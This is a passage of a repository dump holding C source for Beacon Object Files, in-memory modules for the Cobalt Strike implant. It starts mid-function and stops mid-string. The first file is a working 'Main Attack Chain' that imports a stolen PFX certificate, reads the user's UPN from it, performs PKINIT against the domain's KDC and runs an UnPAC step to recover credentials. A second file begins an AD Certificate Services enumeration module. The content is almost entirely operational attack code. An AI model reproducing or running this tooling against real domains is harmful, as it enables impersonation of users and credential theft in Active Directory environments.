base64Len = (DWORD)strlen(base64Pfx);\n\n    /* Get required buffer size - use ANY flag for flexibility */\n    if (!CryptStringToBinaryA(base64Pfx, base64Len, CRYPT_STRING_BASE64_ANY, NULL, &pfxLen, NULL, NULL)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to get base64 decode size: 0x%08X\", GetLastError());\n        return NULL;\n    }\n\n    pfxData = (BYTE*)malloc(pfxLen);\n    if (!pfxData) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to allocate memory for PFX\");\n        return NULL;\n    }\n\n    /* Decode base64 */\n    if (!CryptStringToBinaryA(base64Pfx, base64Len, CRYPT_STRING_BASE64_ANY, pfxData, &pfxLen, NULL, NULL)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to decode base64: 0x%08X\", GetLastError());\n        free(pfxData);\n        return NULL;\n    }\n\n    /* Import PFX */\n    CRYPT_DATA_BLOB pfxBlob;\n    pfxBlob.pbData = pfxData;\n    pfxBlob.cbData = pfxLen;\n\n    hStore = PFXImportCertStore(&pfxBlob, wPassword, CRYPT_EXPORTABLE | PKCS12_ALLOW_OVERWRITE_KEY);\n    free(pfxData);\n\n    if (!hStore) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to import PFX: 0x%08X\", GetLastError());\n        return NULL;\n    }\n\n    /* Get first certificate with private key */\n    pCert = CertEnumCertificatesInStore(hStore, NULL);\n    if (!pCert) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] No certificates in PFX\");\n        CertCloseStore(hStore, 0);\n        return NULL;\n    }\n\n    /* Note: We're not closing the store yet as the cert context needs it */\n    return pCert;\n}\n\n/* Load certificate from raw PFX bytes */\nstatic PCCERT_CONTEXT LoadCertificateFromBytes(const BYTE* pfxBytes, int pfxLen, const char* password) {\n    HCERTSTORE hStore = NULL;\n    PCCERT_CONTEXT pCert = NULL;\n    WCHAR wPassword[256] = {0};\n\n    if (!pfxBytes || pfxLen == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] No PFX data provided\");\n        return NULL;\n    }\n\n    if (password && password[0]) {\n        MultiByteToWideChar(CP_ACP, 0, password, -1, wPassword, 256);\n    }\n\n    CRYPT_DATA_BLOB pfxBlob;\n    pfxBlob.pbData = (BYTE*)pfxBytes;\n    pfxBlob.cbData = pfxLen;\n\n    hStore = PFXImportCertStore(&pfxBlob, wPassword, CRYPT_EXPORTABLE | PKCS12_ALLOW_OVERWRITE_KEY);\n\n    if (!hStore) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to import PFX: 0x%08X\", GetLastError());\n        return NULL;\n    }\n\n    pCert = CertEnumCertificatesInStore(hStore, NULL);\n    if (!pCert) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] No certificates in PFX\");\n        CertCloseStore(hStore, 0);\n        return NULL;\n    }\n\n    return pCert;\n}\n\n/*\n * =============================================================================\n * Get KDC Address\n * =============================================================================\n */\n\nstatic void GetKdcForDomain(const char* domain, char* kdcHost, int kdcHostLen) {\n    WCHAR wDomain[256];\n    PDOMAIN_CONTROLLER_INFOW dcInfo = NULL;\n\n    MultiByteToWideChar(CP_ACP, 0, domain, -1, wDomain, 256);\n\n    if (DsGetDcNameW(NULL, wDomain, NULL, NULL, DS_IS_DNS_NAME | DS_RETURN_DNS_NAME, &dcInfo) == ERROR_SUCCESS) {\n        WideCharToMultiByte(CP_ACP, 0, dcInfo->DomainControllerName + 2, -1, kdcHost, kdcHostLen, NULL, NULL);\n        NetApiBufferFree(dcInfo);\n    } else {\n        /* Fallback to domain name */\n        strcpy(kdcHost, domain);\n    }\n}\n\n/*\n * =============================================================================\n * Main Attack Chain\n * =============================================================================\n */\n\nint my_strcmp(const char *s1, const char *s2)\n{\n    while (*s1 && (*s1 == *s2)) {\n        s1++;\n        s2++;\n    }\n    return *(unsigned char*)s1 - *(unsigned char*)s2;\n}\n\nvoid PkinitUnPAC(BYTE* pfxBytes, int pfxLen, char* pfxBase64, char* password, char* domain, char* kdcHost, int noUnpac) {\n    PCCERT_CONTEXT pCert = NULL;\n    char user[256] = {0};\n    char domainBuf[256] = {0};\n    char kdcBuf[256] = {0};\n\n    if (domain && domain[0])\n        strcpy(domainBuf, domain);\n\n    if (!domainBuf[0]) {\n        WCHAR wszDomain[256] = {0};\n        DWORD dwSize = 256;\n        /* ComputerNameDnsDomain = 2 */\n        if (GetComputerNameExW(2, wszDomain, &dwSize) && wszDomain[0]) {\n            WideCharToMultiByte(CP_UTF8, 0, wszDomain, -1, domainBuf, sizeof(domainBuf), NULL, NULL);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Auto-detected domain: %s\", domainBuf);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Domain not specified and auto-detection failed\");\n            return;\n        }\n    }\n\n    /* ===== PHASE 1: Load Certificate ===== */\n    if (pfxBytes && pfxLen > 0) {\n        pCert = LoadCertificateFromBytes(pfxBytes, pfxLen, password);\n    } else if (pfxBase64 && pfxBase64[0]) {\n        pCert = LoadCertificateFromBase64(pfxBase64, password);\n    }\n\n    if (!pCert) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to load certificate\");\n        return;\n    }\n\n    /* Extract user from certificate SAN (UPN) if not provided */\n    if (!user[0]) {\n        PCERT_EXTENSION pExt = NULL;\n        int i;\n        for (i = 0; i < (int)pCert->pCertInfo->cExtension; i++) {\n            if (my_strcmp(pCert->pCertInfo->rgExtension[i].pszObjId, szOID_SUBJECT_ALT_NAME2) == 0) {\n                pExt = &pCert->pCertInfo->rgExtension[i];\n                break;\n            }\n        }\n        if (pExt) {\n            CERT_ALT_NAME_INFO* pAltName = NULL;\n            DWORD dwSize = 0;\n            if (CryptDecodeObjectEx(X509_ASN_ENCODING, szOID_SUBJECT_ALT_NAME2,\n                    pExt->Value.pbData, pExt->Value.cbData,\n                    CRYPT_DECODE_ALLOC_FLAG, NULL, &pAltName, &dwSize) && pAltName) {\n                DWORD j;\n                for (j = 0; j < pAltName->cAltEntry; j++) {\n                    if (pAltName->rgAltEntry[j].dwAltNameChoice == CERT_ALT_NAME_OTHER_NAME) {\n                        if (my_strcmp(pAltName->rgAltEntry[j].pOtherName->pszObjId, szOID_NT_PRINCIPAL_NAME) == 0) {\n                            /* Decode the UPN */\n                            LPWSTR wszUPN = NULL;\n                            DWORD dwUPNSize = 0;\n                            if (CryptDecodeObjectEx(X509_ASN_ENCODING, X509_UNICODE_ANY_STRING,\n                                    pAltName->rgAltEntry[j].pOtherName->Value.pbData,\n                                    pAltName->rgAltEntry[j].pOtherName->Value.cbData,\n                                    CRYPT_DECODE_ALLOC_FLAG, NULL, &wszUPN, &dwUPNSize) && wszUPN) {\n                                CERT_NAME_VALUE* pNameValue = (CERT_NAME_VALUE*)wszUPN;\n                                if (pNameValue->Value.pbData) {\n                                    char szUPN[256] = {0};\n                                    WideCharToMultiByte(CP_UTF8, 0, (LPCWSTR)pNameValue->Value.pbData, -1, szUPN, 256, NULL, NULL);\n                                    char* pAt = strchr(szUPN, '@');\n                                    if (pAt) {\n                                        int userLen = (int)(pAt - szUPN);\n                                        memcpy(user, szUPN, userLen);\n                                        user[userLen] = '\\0';\n                                        if (!domainBuf[0]) {\n                                            strcpy(domainBuf, pAt + 1);\n                                        }\n                                        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Extracted UPN from cert: %s\", szUPN);\n                                    }\n                                }\n                                LocalFree(wszUPN);\n                            }\n                            break;\n                        }\n                    }\n                }\n                LocalFree(pAltName);\n            }\n        }\n        if (!user[0]) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Could not extract UPN from certificate\");\n            CertFreeCertificateContext(pCert);\n            return;\n        }\n    }\n\n    /* ===== PHASE 2: Get KDC ===== */\n    if (kdcHost && kdcHost[0]) {\n        strcpy(kdcBuf, kdcHost);\n    } else {\n        GetKdcForDomain(domainBuf, kdcBuf, sizeof(kdcBuf));\n    }\n\n    /* ===== PHASE 3: PKINIT Authentication ===== */\n\n    /* Build PKINIT AS-REQ */\n    int asReqLen;\n    BYTE* asReq = BuildPkinitAsReq(pCert, user, domainBuf, &asReqLen);\n\n    if (asReq) {\n        /* Send to KDC */\n        int asRepLen;\n        BYTE* asRep = SendToKdc(kdcBuf, 88, asReq, asReqLen, &asRepLen);\n\n        if (asRep) {\n            /* ===== PHASE 4: Process AS-REP ===== */\n            /* Convert domain to uppercase for realm */\n            char realm[256] = {0};\n            int ri;\n            for (ri = 0; domainBuf[ri] && ri < 255; ri++) {\n                realm[ri] = (domainBuf[ri] >= 'a' && domainBuf[ri] <= 'z')\n                          ? domainBuf[ri] - 'a' + 'A' : domainBuf[ri];\n            }\n\n            ProcessAsRep(asRep, asRepLen, pCert, user, realm, kdcBuf, noUnpac);\n            free(asRep);\n        }\n\n        free(asReq);\n    }\n\n    /* Cleanup */\n    if (pCert) CertFreeCertificateContext(pCert);\n}\n\n/* LDAP constants */\n#ifndef LDAP_PORT\n#define LDAP_PORT 389\n#endif\n#ifndef LDAP_SCOPE_SUBTREE\n#define LDAP_SCOPE_SUBTREE 0x02\n#endif\n#ifndef LDAP_AUTH_NEGOTIATE\n#define LDAP_AUTH_NEGOTIATE 0x0486\n#endif\n#ifndef LDAP_OPT_REFERRALS\n#define LDAP_OPT_REFERRALS 0x08\n#endif\n#ifndef LDAP_SUCCESS\n#define LDAP_SUCCESS 0x00\n#endif\n\n/*\n * BOF Entry Point for Certificate Authentication\n * Arguments: PFX (base64), Password, DC (optional)\n */\nvoid go(char* args, int alen) {\n    datap parser;\n    char* szPfxB64 = NULL;\n    char* szPassword = NULL;\n    char* szDC = NULL;\n    BYTE* pbPfx = NULL;\n    int cbPfx = 0;\n    short noUnpac = 0;\n\n    BeaconDataParse(&parser, args, alen);\n\n    szPfxB64   = BeaconDataExtract(&parser, NULL);\n    szPassword = BeaconDataExtract(&parser, NULL);\n    szDC       = BeaconDataExtract(&parser, NULL);\n    pbPfx      = (BYTE*)BeaconDataExtract(&parser, &cbPfx);\n    noUnpac    = BeaconDataShort(&parser);\n\n    if (pbPfx && cbPfx > 0) {\n        /* PFX passed as raw bytes */\n        PkinitUnPAC(pbPfx, cbPfx, NULL, szPassword ? szPassword : \"\", NULL, szDC, noUnpac);\n    } else if (szPfxB64 && szPfxB64[0]) {\n        /* PFX passed as base64 */\n        PkinitUnPAC(NULL, 0, szPfxB64, szPassword ? szPassword : \"\", NULL, szDC, noUnpac);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Usage: certi auth --cert <PFX_Base64> [--password <pass>] [--dc <dc>] [--no-unpac]\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!]    or: certi auth --pfx <file> [--password <pass>] [--dc <dc>] [--no-unpac]\");\n        return;\n    }\n}"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/enum/adcs_enum_com2.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <oleauto.h>\n#include <wchar.h>\n#include <io.h>\n#include <fcntl.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <combaseapi.h>\n#include <sddl.h>\n#include <iads.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include \"adcs_enum_com2.h\"\n\n\ntypedef HRESULT WINAPI (*CAEnumFirstCA_t)(IN LPCWSTR wszScope, IN DWORD dwFlags, OUT LPVOID * phCAInfo);\ntypedef HRESULT WINAPI (*CAEnumNextCA_t)(IN LPVOID hPrevCA, OUT LPVOID * phCAInfo);\ntypedef HRESULT WINAPI (*CACloseCA_t)(IN LPVOID hCA);\ntypedef DWORD WINAPI (*CACountCAs_t)(IN LPVOID hCAInfo);\ntypedef LPCWSTR WINAPI (*CAGetDN_t)(IN LPVOID hCAInfo);\ntypedef HRESULT WINAPI (*CAGetCAProperty_t)(IN LPVOID hCAInfo, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue);\ntypedef HRESULT WINAPI (*CAFreeCAProperty_t)(IN LPVOID hCAInfo, IN PZPWSTR awszPropertyValue);\ntypedef HRESULT WINAPI (*CAGetCAFlags_t)(IN LPVOID hCAInfo, OUT DWORD  *pdwFlags);\ntypedef HRESULT WINAPI (*CAGetCACertificate_t)(IN LPVOID hCAInfo, OUT PCCERT_CONTEXT *ppCert);\ntypedef HRESULT WINAPI (*CAGetCAExpiration_t)(IN LPVOID hCAInfo, OUT DWORD * pdwExpiration, OUT DWORD * pdwUnits);\ntypedef HRESULT WINAPI (*CAGetCASecurity_t)(IN LPVOID hCAInfo, OUT PSECURITY_DESCRIPTOR * ppSD);\ntypedef HRESULT WINAPI (*CAGetAccessRights_t)(IN LPVOID hCAInfo, IN DWORD dwContext, OUT DWORD *pdwAccessRights);\ntypedef HRESULT WINAPI (*CAEnumCertTypesForCA_t)(IN LPVOID hCAInfo, IN DWORD dwFlags, OUT LPVOID * phCertType);\ntypedef HRESULT WINAPI (*CAEnumCertTypes_t)(IN DWORD dwFlags, OUT LPVOID * phCertType);\ntypedef HRESULT WINAPI (*CAEnumNextCertType_t)(IN LPVOID hPrevCertType, OUT LPVOID * phCertType);\ntypedef DWORD WINAPI (*CACountCertTypes_t)(IN LPVOID hCertType);\ntypedef HRESULT WINAPI (*CACloseCertType_t)(IN LPVOID hCertType);\ntypedef HRESULT WINAPI (*CAGetCertTypeProperty_t)(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue);\ntypedef HRESULT WINAPI (*CAGetCertTypePropertyEx_t)(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT LPVOID *pPropertyValue);\ntypedef HRESULT WINAPI (*CAFreeCertTypeProperty_t)(IN LPVOID hCertType, IN PZPWSTR awszPropertyValue);\ntypedef HRESULT WINAPI (*CAGetCertTypeExtensionsEx_t)(IN LPVOID hCertType, IN DWORD dwFlags, IN LPVOID pParam, OUT PCERT_EXTENSIONS * ppCertExtensions);\ntypedef HRESULT WINAPI (*CAFreeCertTypeExtensions_t)(IN LPVOID hCertType, IN PCERT_EXTENSIONS pCertExtensions);\ntypedef HRESULT WINAPI (*CAGetCertTypeFlagsEx_t)(IN LPVOID hCertType, IN DWORD dwOption, OUT DWORD * pdwFlags);\ntypedef HRESULT WINAPI (*CAGetCertTypeExpiration_t)(IN LPVOID hCertType, OUT OPTIONAL FILETIME * pftExpiration, OUT OPTIONAL FILETIME * pftOverlap);\ntypedef HRESULT WINAPI (*CACertTypeGetSecurity_t)(IN LPVOID hCertType, OUT PSECURITY_DESCRIPTOR * ppSD);\ntypedef HRESULT WINAPI (*caTranslateFileTimePeriodToPeriodUnits_t)(IN FILETIME const *pftGMT, IN BOOL Flags, OUT DWORD *pcPeriodUnits, OUT LPVOID*prgPeriodUnits);\ntypedef HRESULT WINAPI (*CAGetCertTypeAccessRights_t)(IN LPVOID hCertType, IN DWORD dwContext, OUT DWORD *pdwAccessRights);\n\n#define CERTCLI$CAEnumFirstCA ((CAEnumFirstCA_t)DynamicLoad(\"CERTCLI\",\"CAEnumFirstCA\"))\n#define CERTCLI$CAEnumNextCA ((CAEnumNextCA_t)DynamicLoad(\"CERTCLI\",\"CAEnumNextCA\"))\n#define CERTCLI$CACloseCA ((CACloseCA_t)DynamicLoad(\"CERTCLI\",\"CACloseCA\"))\n#define CERTCLI$CACountCAs ((CACountCAs_t)DynamicLoad(\"CERTCLI\",\"CACountCAs\"))\n#define CERTCLI$CAGetDN ((CAGetDN_t)DynamicLoad(\"CERTCLI\",\"CAGetDN\"))\n#define CERTCLI$CAGetCAProperty ((CAGetCAProperty_t)DynamicLoad(\"CERTCLI\",\"CAGetCAProperty\"))\n#define CERTCLI$CAFreeCAProperty ((CAFreeCAProperty_t)DynamicLoad(\"CERTCLI\",\"CAFreeCAProperty\"))\n#define CERTCLI$CAGetCAFlags ((CAGetCAFlags_t)DynamicLoad(\"CERTCLI\",\"CAGetCAFlags\"))\n#define CERTCLI$CAGetCACertificate ((CAGetCACertificate_t)DynamicLoad(\"CERTCLI\",\"CAGetCACertificate\"))\n#define CERTCLI$CAGetCAExpiration ((CAGetCAExpiration_t)DynamicLoad(\"CERTCLI\",\"CAGetCAExpiration\"))\n#define CERTCLI$CAGetCASecurity ((CAGetCASecurity_t)DynamicLoad(\"CERTCLI\",\"CAGetCASecurity\"))\n#define CERTCLI$CAGetAccessRights ((CAGetAccessRights_t)DynamicLoad(\"CERTCLI\",\"CAGetAccessRights\"))\n#define CERTCLI$CAEnumCertTypesForCA ((CAEnumCertTypesForCA_t)DynamicLoad(\"CERTCLI\",\"CAEnumCertTypesForCA\"))\n#define CERTCLI$CAEnumCertTypes ((CAEnumCertTypes_t)DynamicLoad(\"CERTCLI\",\"CAEnumCertTypes\"))\n#define CERTCLI$CAEnumNextCertType ((CAEnumNextCertType_t)DynamicLoad(\"CERTCLI\",\"CAEnumNextCertType\"))\n#define CERTCLI$CACountCertTypes ((CACountCertTypes_t)DynamicLoad(\"CERTCLI\",\"CACountCertTypes\"))\n#define CERTCLI$CACloseCertType ((CACloseCertType_t)DynamicLoad(\"CERTCLI\",\"CACloseCertType\"))\n#define CERTCLI$CAGetCertTypeProperty ((CAGetCertTypeProperty_t)DynamicLoad(\"CERTCLI\",\"CAGetCertTypeProperty\"))\n#define CERTCLI$CAGetCertTypePropertyEx ((CAGetCertTypePropertyEx_t)DynamicLoad(\"CERTCLI\",\"CAGetCertTypePropertyEx\"))\n#define CERTCLI$CAFreeCertTypeProperty ((CAFreeCertTypeProperty_t)DynamicLoad(\"CERTCLI\",\"CAFreeCertTypeProperty\"))\n#define CERTCLI$CAGetCertTypeExtensionsEx ((CAGetCertTypeExtensionsEx_t)DynamicLoad(\"CERTCLI\",\"CAGetCertTypeExtensionsEx\"))\n#define CERTCLI$CAFreeCertTypeExtensions ((CAFreeCertTypeExtensions_t)DynamicLoad(\"CERTCLI\",\"CAFreeCertTypeExtensions\"))\n#define CERTCLI$CAGetCertTypeFlagsEx ((CAGetCertTypeFlagsEx_t)DynamicLoad(\"CERTCLI\",\"CAGetCertTypeFlagsEx\"))\n#define CERTCLI$CAGetCertTypeExpiration ((CAGetCertTypeExpiration_t)DynamicLoad(\"CERTCLI\",\"CAGetCertTypeExpiration\"))\n#define CERTCLI$CACertTypeGetSecurity ((CACertTypeGetSecurity_t)DynamicLoad(\"CERTCLI\",\"CACertTypeGetSecurity\"))\n#define CERTCLI$caTranslateFileTimePeriodToPeriodUnits ((caTranslateFileTimePeriodToPeriodUnits_t)DynamicLoad(\"CERTCLI\",\"caTranslateFileTimePeriodToPeriodUnits\"))\n#define CERTCLI$CAGetCertTypeAccessRights ((CAGetCertTypeAccessRights_t)DynamicLoad(\"CERTCLI\",\"CAGetCertTypeAccessRights\"))\n\n\ntypedef PCCERT_CONTEXT WINAPI (*CertCreateCertificateContext_t)(DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded);\ntypedef DWORD WINAPI (*CertGetNameStringW_t)(PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString);\ntypedef WINBOOL WINAPI (*CertGetCertificateContextProperty_t)(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData);\ntypedef WINBOOL WINAPI (*CertGetCertificateChain_t)(HCERTCHAINENGINE hChainEngine, PCCERT_CONTEXT pCertContext, LPFILETIME pTime, HCERTSTORE hAdditionalStore, PCERT_CHAIN_PARA pChainPara, DWORD dwFlags, LPVOID pvReserved, PCCERT_CHAIN_CONTEXT *ppChainContext);\ntypedef VOID WINAPI (*CertFreeCertificateChain_t)(PCCERT_CHAIN_CONTEXT pChainContext);\n\n#define CRYPT32$CertCreateCertificateContext ((CertCreateCertificateContext_t)DynamicLoad(\"CRYPT32\",\"CertCreateCertificateContext\"))\n#define CRYPT32$CertGetNameStringW ((CertGetNameStringW_t)DynamicLoad(\"CRYPT32\",\"CertGetNameStringW\"))\n#define CRYPT32$CertGetCertificateContextProperty ((CertGetCertificateContextProperty_t)DynamicLoad(\"CRYPT32\",\"CertGetCertificateContextProperty\"))\n#define CRYPT32$CertGetCertificateChain ((CertGetCertificateChain_t)DynamicLoad(\"CRYPT32\",\"CertGetCertificateChain\"))\n#define CRYPT32$CertFreeCertificateChain ((CertFreeCertificateChain_t)DynamicLoad(\"CRYPT32\",\"CertFreeCertificateChain\"))\n\n\ntypedef BSTR WINAPI (*SysAllocString_t)(const OLECHAR *);\ntypedef UINT WINAPI (*SysStringLen_t)(BSTR);\ntypedef void WINAPI (*SysFreeString_t)(BSTR);\ntypedef void WINAPI (*SafeArrayDestroy_t)(SAFEARRAY *psa);\ntypedef void WINAPI (*VariantInit_t)(VARIANTARG *pvarg);\ntypedef void WINAPI (*VariantClear_t)(VARIANTARG *pvarg);\n\n#define OLEAUT32$SysAllocString ((SysAllocString_t)DynamicLoad(\"OLEAUT32\",\"SysAllocString\"))\n#define OLEAUT32$SysStringLen ((SysStringLen_t)DynamicLoad(\"OLEAUT32\",\"SysStringLen\"))\n#define OLEAUT32$SysFreeString ((SysFreeString_t)DynamicLoad(\"OLEAUT32\",\"SysFreeString\"))\n#define OLEAUT32$SafeArrayDestroy ((SafeArrayDestroy_t)DynamicLoad(\"OLEAUT32\",\"SafeArrayDestroy\"))\n#define OLEAUT32$VariantInit ((VariantInit_t)DynamicLoad(\"OLEAUT32\",\"VariantInit\"))\n#define OLEAUT32$VariantClear ((VariantClear_t)DynamicLoad(\"OLEAUT32\",\"VariantClear\"))\n\n\ntypedef HRESULT WINAPI (*CoInitializeEx_t)(LPVOID pvReserved, DWORD dwCoInit);\ntypedef HRESULT WINAPI (*CoUninitialize_t)(void);\ntypedef int WINAPI (*StringFromGUID2_t)(REFGUID rguid, LPOLESTR lpsz, int cchMax);\n\n#define OLE32$CoInitializeEx ((CoInitializeEx_t)DynamicLoad(\"OLE32\",\"CoInitializeEx\"))\n#define OLE32$CoUninitialize ((CoUninitialize_t)DynamicLoad(\"OLE32\",\"CoUninitialize\"))\n#define OLE32$StringFromGUID2 ((StringFromGUID2_t)DynamicLoad(\"OLE32\",\"StringFromGUID2\"))\n\n\n#define CHECK_RETURN_FALSE( function, return_value, result) \\\n\tif (FALSE == return_value) \\\n\t{ \\\n\t\tresult = KERNEL32$GetLastError(); \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: 0x%08lx\\n\", function, result); \\\n\t\tgoto fail; \\\n\t}\n#define CHECK_RETURN_NULL( function, return_value, result) \\\n\tif (NULL == return_value) \\\n\t{ \\\n\t\tresult = E_INVALIDARG; \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed\\n\", function); \\\n\t\tgoto fail; \\\n\t}\n#define CHECK_RETURN_FAIL( function, result ) \\\n\tif (FAILED(result)) \\\n\t{ \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: 0x%08lx\\n\", function, result); \\\n\t\tgoto fail; \\\n\t}\n#define CHECK_RETURN_SOFT_FAIL( function, result ) \\\n\tif (FAILED(result)) \\\n\t{ \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: 0x%08lx\\n\", function, result); \\\n\t}\n#define SAFE_DESTROY( arraypointer )\t\\\n\tif ( (arraypointer) != NULL )\t\\\n\t{\t\\\n\t\tOLEAUT32$SafeArrayDestroy(arraypointer);\t\\\n\t\t(arraypointer) = NULL;\t\\\n\t}\n#define SAFE_RELEASE( interfacepointer )\t\\\n\tif ( (interfacepointer) != NULL )\t\\\n\t{\t\\\n\t\t(interfacepointer)->lpVtbl->Release(interfacepointer);\t\\\n\t\t(interfacepointer) = NULL;\t\\\n\t}\n#define SAFE_FREE( string_ptr )\t\\\n\tif ( (string_ptr) != NULL )\t\\\n\t{\t\\\n\t\tOLEAUT32$SysFreeString(string_ptr);\t\\\n\t\t(string_ptr) = NULL;\t\\\n\t}\n#define SAFE_LOCAL_FREE( local_ptr ) \\\n\tif (local_ptr) \\\n\t{ \\\n\t\tKERNEL32$LocalFree(local_ptr); \\\n\t\tlocal_ptr = NULL; \\\n\t}\n#define SAFE_INT_FREE( int_ptr ) \\\n\tif (int_ptr) \\\n\t{ \\\n\t\tintFree(int_ptr); \\\n\t\tint_ptr = NULL; \\\n\t}\n#define SAFE_CERTFREECERTIFICATECHAIN( cert_chain_context ) \\\n\tif(cert_chain_context) \\\n\t{ \\\n\t\tCRYPT32$CertFreeCertificateChain(cert_chain_context); \\\n\t\tcert_chain_context = NULL; \\\n\t}\t\n\n\n#define DEFINE_MY_GUID(name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } }\nDEFINE_MY_GUID(CertificateEnrollment,0x0e10c968,0x78fb,0x11d2,0x90,0xd4,0x00,0xc0,0x4f,0x79,0xdc,0x55);\nDEFINE_MY_GUID(CertificateAutoEnrollment,0xa05b8cc2,0x17bc,0x4802,0xa7,0x10,0xe7,0xc1,0x5a,0xb8,0x66,0xa2);\nDEFINE_MY_GUID(CertificateAll,0x00000000,0x0000,0x0000,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00);\nDEFINE_MY_GUID(ManageCA,0x05000000,0x0015,0x0000,0xf9,0xbf,0xaa,0x22,0x07,0x95,0x8d,0xdd);\n\nHRESULT adcs_enum_com2()\n{\n\tHRESULT hr = S_OK;\n\n\thr = OLE32$CoInitializeEx( NULL, COINIT_APARTMENTTHREADED );\n\tCHECK_RETURN_FAIL(\"CoInitializeEx\", hr);\n\t\n\thr = _adcs_get_PolicyServerListManager();\n\tCHECK_RETURN_FAIL(\"_adcs_get_PolicyServerListManager\", hr);\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n adcs_enum_com2 SUCCESS.\\n\");\n\t\nfail:\t\n\t\n\tOLE32$CoUninitialize();\n\n\treturn hr;\n} // end adcs_enum_com2\n\nHRESULT _adcs_get_PolicyServerListManager()\n{\n\tHRESULT hr = S_OK;\n\tIX509PolicyServerListManager * pPolicyServerListManager = NULL;\n\tLONG lPolicyServerUrlCount = 0;\n\tIX509PolicyServerUrl * pPolicyServerUrl = NULL;\n\t\t\n\tCLSID\tCLSID_IX509PolicyServerListManager = { 0x91f39029, 0x217f, 0x11DA, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID\t\tIID_IX509PolicyServerListManager = { 0x884e204b, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tSAFE_RELEASE(pPolicyServerListManager);\n\thr = OLE32$CoCreateInstance(&CLSID_IX509PolicyServerListManager, 0,\tCLSCTX_INPROC_SERVER, &IID_IX509PolicyServerListManager, (LPVOID *)&(pPolicyServerListManager));\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CLSID_IX509PolicyServerListManager)\", hr);\n\n\thr = pPolicyServerListManager->lpVtbl->Initialize(pPolicyServerListManager, ContextUser, PsfLocationGroupPolicy | PsfLocationRegistry);\n\tCHECK_RETURN_FAIL(\"pPolicyServerListManager->lpVtbl->Initialize()\", hr);\n\n\thr = pPolicyServerListManager->lpVtbl->get_Count(pPolicyServerListManager, &lPolicyServerUrlCount);\n\tCHECK_RETURN_FAIL(\"pPolicyServerListManager->lpVtbl->get_Count()\", hr);\n\n\tinternal_printf(\"\\n[*] Found %ld policy servers\\n\", lPolicyServerUrlCount);\n\tfor(LONG lPolicyServerIndex=0; lPolicyServerIndex<lPolicyServerUrlCount; lPolicyServerIndex++)\n\t{\n\t\tSAFE_RELEASE(pPolicyServerUrl);\n\t\thr = pPolicyServerListManager->lpVtbl->get_ItemByIndex(pPolicyServerListManager, lPolicyServerIndex, &pPolicyServerUrl);\n\t\tCHECK_RETURN_FAIL(\"pPolicyServerListManager->lpVtbl->get_ItemByIndex()\", hr);\n\n\t\thr = _adcs_get_PolicyServerUrl(pPolicyServerUrl);\n\t\tCHECK_RETURN_SOFT_FAIL(\"[SOFT FAIL] _adcs_get_PolicyServerUrl()\", hr);\n\n\t\tif (FAILED(hr)){\n\t\t\tinternal_printf(\"    Failed to display information for the Policy Server \\n\");\n\t\t}\n\t} // end for loop through IX509PolicyServerUrl\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_PolicyServerListManager SUCCESS.\\n\");\n\nfail:\n\n\tSAFE_RELEASE(pPolicyServerUrl);\n\tSAFE_RELEASE(pPolicyServerListManager);\n\n\treturn hr;\n} // end _adcs_get_PolicyServerListManager\n\n\nHRESULT _adcs_get_PolicyServerUrl(IX509PolicyServerUrl * pPolicyServerUrl)\n{\n\tHRESULT hr = S_OK;\n\tBSTR bstrPolicyServerUrl = NULL;\n\tBSTR bstrPolicyServerFriendlyName = NULL;\n\tBSTR bstrPolicyServerId = NULL;\n\n\thr = pPolicyServerUrl->lpVtbl->get_Url(pPolicyServerUrl, &bstrPolicyServerUrl);\n\tCHECK_RETURN_FAIL(\"pPolicyServerUrl->lpVtbl->get_Url()\", hr);\n\n\thr = pPolicyServerUrl->lpVtbl->GetStringProperty(pPolicyServerUrl, PsPolicyID, &bstrPolicyServerId);\n\tCHECK_RETURN_FAIL(\"pPolicyServerUrl->lpVtbl->GetStringProperty(PsPolicyID)\", hr);\n\n\thr = pPolicyServerUrl->lpVtbl->GetStringProperty(pPolicyServerUrl, PsFriendlyName, &bstrPolicyServerFriendlyName);\n\tCHECK_RETURN_FAIL(\"pPolicyServerUrl->lpVtbl->GetStringProperty(PsFriendlyName)\", hr);\n\tinternal_printf(\"\\n[*] Enumerating enrollment policy servers for 